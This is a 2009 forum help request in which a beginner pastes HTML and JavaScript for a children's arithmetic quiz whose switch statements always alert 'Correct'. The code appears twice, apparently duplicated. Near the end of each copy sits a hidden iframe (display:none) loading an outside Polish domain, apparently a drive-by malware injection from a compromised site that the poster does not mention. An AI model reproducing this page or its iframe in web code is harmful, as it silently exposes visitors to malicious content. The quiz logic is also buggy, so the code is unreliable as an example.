<?shazZam>
03-10-2009, 10:03 PM
hi
My switch is not working properly.Every single value I enter the statement says is true.Don't know where the problem is.Can someone help me out plz.
here is my code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
<title>ABC.com</title>
<link rel="stylesheet" a href="style.css"></link>
</head>
<script type="text/javascript">
function Begin()
{
if (document.getElementById("level_one").checked == true)
{
document.getElementById("easy").style.display = "";
document.getElementById("hard").style.display = "none";
document.getElementById("medium").style.display = "none";
}
if (document.getElementById("level_two").checked == true)
{
document.getElementById("medium").style.display = "";
document.getElementById("easy").style.display = "none";
document.getElementById("hard").style.display = "none";
}
if (document.getElementById("level_three").checked == true)
{
document.getElementById("hard").style.display = "";
document.getElementById("medium").style.display = "none";
document.getElementById("easy").style.display = "none";
}
}
function EasyCalc(){
var xAns = parseInt(txtx.value);
var Ans = parseInt(document.myfrm.operator.value);
switch(Ans){
case 0:
xAns = "1";
alert("Correct");
break;
case 1:
xAns = "1";
alert("Correct");
break;
case 2:
xAns = "0";
alert("Correct");
break;
case 3:
xAns = "2";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function EasyCalc1(){
var x1Ans = parseInt(txtx1.value);
var Ans1 = parseInt(document.myfrm1.operator1.value);
switch(Ans1){
case 4:
x1Ans = "8";
alert("Correct");
break;
case 5:
x1Ans = "2";
alert("Correct");
break;
case 6:
x1Ans = "2";
alert("Correct");
break;
case 7:
x1Ans = "6";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function EasyCalc2(){
var x2Ans = parseInt(txtx2.value);
var Ans2 = parseInt(document.myfrm2.operator2.value);
switch(Ans2){
case 8:
x2Ans = "9";
alert("Correct");
break;
case 9:
x2Ans = "1";
alert("Correct");
break;
case 10:
x2Ans = "0";
alert("Correct");
break;
case 11:
x2Ans = "6";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function MediumCalc(){
var x3Ans = parseInt(txtx3.value);
var Ans3 = parseInt(document.myfrm3.operator3.value);
switch(Ans3){
case 12:
x3Ans = "50";
alert("Correct");
break;
case 13:
x3Ans = "5";
alert("Correct");
break;
case 14:
x3Ans = "5";
alert("Correct");
break;
case 15:
x3Ans = "15";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function MediumCalc1(){
var x4Ans = parseInt(txtx4.value);
var Ans4 = parseInt(document.myfrm4.operator4.value);
switch(Ans4){
case 16:
x3Ans = "48";
alert("Correct");
break;
case 17:
x3Ans = "3";
alert("Correct");
break;
case 18:
x3Ans = "8";
alert("Correct");
break;
case 19:
x3Ans = "18";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
</script>
<body>
<div id="container">
<div id="header">
<div id="navigation">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="abc.html">ABC</a></li>
<li><a href="math.html">Math</a></li>
<li><a href="visual.html">Visual</a></li>
</ul>
</div>
</div>
<div id="content">
<div id="levels">
<input type="radio" name="radio1" value="E" id="level_one">Easy
<input type="radio" name="radio1" value="M" id="level_two">Meduim
<input type="radio" name="radio1" value="H" id="level_three">Hard
<input type="button" value="Start" name="btn01" class="btncss" onClick="Begin()"></div>
<div id="easy" style="display:none">
<p>Question 1</p>
<span>1</span>
<form name="myfrm">
<select name="operator" id="operator">
<option value="0">*</option>
<option value="1">/</option>
<option value="2">-</option>
<option value="3">+</option>
</select>
</form>
<span>1 =</span>
<input type="text" name="txtx" id="txtx">
<input type="button" name="btn" value="Answer" onClick="EasyCalc()"><br>
<p>Question 2</p>
<span>4</span>
<form name="myfrm1">
<select name="operator1" id="operator1">
<option value="4">*</option>
<option value="5">/</option>
<option value="6">-</option>
<option value="7">+</option>
</select>
</form>
<span>2 =</span>
<input type="text" name="txtx1" id="txtx1">
<input type="button" name="btn1" value="Answer" onClick="EasyCalc1()"><br>
<p>Question 3</p>
<span>3</span>
<form name="myfrm2">
<select name="operator2" id="operator2">
<option value="8">*</option>
<option value="9">/</option>
<option value="10">-</option>
<option value="11">+</option>
</select>
</form>
<span>3 =</span>
<input type="text" name="txtx2" id="txtx2">
<input type="button" name="btn2" value="Answer" onClick="EasyCalc2()">
</div>
<div id="medium" style="display:none">
<p>Question 1</p>
<span>10</span>
<form name="myfrm3">
<select name="operator3" id="operator3">
<option value="12">*</option>
<option value="13">/</option>
<option value="14">-</option>
<option value="15">+</option>
</select>
</form>
<span>5 =</span>
<input type="text" name="txtx3" id="txtx3">
<input type="button" name="btn3" value="Answer" onClick="MediumCalc()"><br>
<p>Question 2</p>
<span>12</span>
<form name="myfrm4">
<select name="operator4" id="operator4">
<option value="16">*</option>
<option value="17">/</option>
<option value="18">-</option>
<option value="19">+</option>
</select>
</form>
<span>4 =</span>
<input type="text" name="txtx4" id="txtx4">
<input type="button" name="btn4" value="Answer" onClick="MediumCalc1()">
<p>Question 3</p>
<span>3</span>
<form name="myfrm5">
<select name="operator5" id="operator5">
<option value="8">*</option>
<option value="9">/</option>
<option value="10">-</option>
<option value="11">+</option>
</select>
</form>
<span>3 =</span>
<input type="text" name="txtx5" id="txtx5">
<input type="button" name="btn5" value="Answer" onClick="MediumCalc2()">
</div>
<div id="hard" style="display:none">
</div>
</div>
<div id="body">
</div>
</div>
<div id="footer">
</div>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
My switch is not working properly.Every single value I enter the statement says is true.Don't know where the problem is.Can someone help me out plz.
here is my code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
<title>ABC.com</title>
<link rel="stylesheet" a href="style.css"></link>
</head>
<script type="text/javascript">
function Begin()
{
if (document.getElementById("level_one").checked == true)
{
document.getElementById("easy").style.display = "";
document.getElementById("hard").style.display = "none";
document.getElementById("medium").style.display = "none";
}
if (document.getElementById("level_two").checked == true)
{
document.getElementById("medium").style.display = "";
document.getElementById("easy").style.display = "none";
document.getElementById("hard").style.display = "none";
}
if (document.getElementById("level_three").checked == true)
{
document.getElementById("hard").style.display = "";
document.getElementById("medium").style.display = "none";
document.getElementById("easy").style.display = "none";
}
}
function EasyCalc(){
var xAns = parseInt(txtx.value);
var Ans = parseInt(document.myfrm.operator.value);
switch(Ans){
case 0:
xAns = "1";
alert("Correct");
break;
case 1:
xAns = "1";
alert("Correct");
break;
case 2:
xAns = "0";
alert("Correct");
break;
case 3:
xAns = "2";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function EasyCalc1(){
var x1Ans = parseInt(txtx1.value);
var Ans1 = parseInt(document.myfrm1.operator1.value);
switch(Ans1){
case 4:
x1Ans = "8";
alert("Correct");
break;
case 5:
x1Ans = "2";
alert("Correct");
break;
case 6:
x1Ans = "2";
alert("Correct");
break;
case 7:
x1Ans = "6";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function EasyCalc2(){
var x2Ans = parseInt(txtx2.value);
var Ans2 = parseInt(document.myfrm2.operator2.value);
switch(Ans2){
case 8:
x2Ans = "9";
alert("Correct");
break;
case 9:
x2Ans = "1";
alert("Correct");
break;
case 10:
x2Ans = "0";
alert("Correct");
break;
case 11:
x2Ans = "6";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function MediumCalc(){
var x3Ans = parseInt(txtx3.value);
var Ans3 = parseInt(document.myfrm3.operator3.value);
switch(Ans3){
case 12:
x3Ans = "50";
alert("Correct");
break;
case 13:
x3Ans = "5";
alert("Correct");
break;
case 14:
x3Ans = "5";
alert("Correct");
break;
case 15:
x3Ans = "15";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
function MediumCalc1(){
var x4Ans = parseInt(txtx4.value);
var Ans4 = parseInt(document.myfrm4.operator4.value);
switch(Ans4){
case 16:
x3Ans = "48";
alert("Correct");
break;
case 17:
x3Ans = "3";
alert("Correct");
break;
case 18:
x3Ans = "8";
alert("Correct");
break;
case 19:
x3Ans = "18";
alert("Correct");
break;
default:
alert("Incorrect");
}
}
</script>
<body>
<div id="container">
<div id="header">
<div id="navigation">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="abc.html">ABC</a></li>
<li><a href="math.html">Math</a></li>
<li><a href="visual.html">Visual</a></li>
</ul>
</div>
</div>
<div id="content">
<div id="levels">
<input type="radio" name="radio1" value="E" id="level_one">Easy
<input type="radio" name="radio1" value="M" id="level_two">Meduim
<input type="radio" name="radio1" value="H" id="level_three">Hard
<input type="button" value="Start" name="btn01" class="btncss" onClick="Begin()"></div>
<div id="easy" style="display:none">
<p>Question 1</p>
<span>1</span>
<form name="myfrm">
<select name="operator" id="operator">
<option value="0">*</option>
<option value="1">/</option>
<option value="2">-</option>
<option value="3">+</option>
</select>
</form>
<span>1 =</span>
<input type="text" name="txtx" id="txtx">
<input type="button" name="btn" value="Answer" onClick="EasyCalc()"><br>
<p>Question 2</p>
<span>4</span>
<form name="myfrm1">
<select name="operator1" id="operator1">
<option value="4">*</option>
<option value="5">/</option>
<option value="6">-</option>
<option value="7">+</option>
</select>
</form>
<span>2 =</span>
<input type="text" name="txtx1" id="txtx1">
<input type="button" name="btn1" value="Answer" onClick="EasyCalc1()"><br>
<p>Question 3</p>
<span>3</span>
<form name="myfrm2">
<select name="operator2" id="operator2">
<option value="8">*</option>
<option value="9">/</option>
<option value="10">-</option>
<option value="11">+</option>
</select>
</form>
<span>3 =</span>
<input type="text" name="txtx2" id="txtx2">
<input type="button" name="btn2" value="Answer" onClick="EasyCalc2()">
</div>
<div id="medium" style="display:none">
<p>Question 1</p>
<span>10</span>
<form name="myfrm3">
<select name="operator3" id="operator3">
<option value="12">*</option>
<option value="13">/</option>
<option value="14">-</option>
<option value="15">+</option>
</select>
</form>
<span>5 =</span>
<input type="text" name="txtx3" id="txtx3">
<input type="button" name="btn3" value="Answer" onClick="MediumCalc()"><br>
<p>Question 2</p>
<span>12</span>
<form name="myfrm4">
<select name="operator4" id="operator4">
<option value="16">*</option>
<option value="17">/</option>
<option value="18">-</option>
<option value="19">+</option>
</select>
</form>
<span>4 =</span>
<input type="text" name="txtx4" id="txtx4">
<input type="button" name="btn4" value="Answer" onClick="MediumCalc1()">
<p>Question 3</p>
<span>3</span>
<form name="myfrm5">
<select name="operator5" id="operator5">
<option value="8">*</option>
<option value="9">/</option>
<option value="10">-</option>
<option value="11">+</option>
</select>
</form>
<span>3 =</span>
<input type="text" name="txtx5" id="txtx5">
<input type="button" name="btn5" value="Answer" onClick="MediumCalc2()">
</div>
<div id="hard" style="display:none">
</div>
</div>
<div id="body">
</div>
</div>
<div id="footer">
</div>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>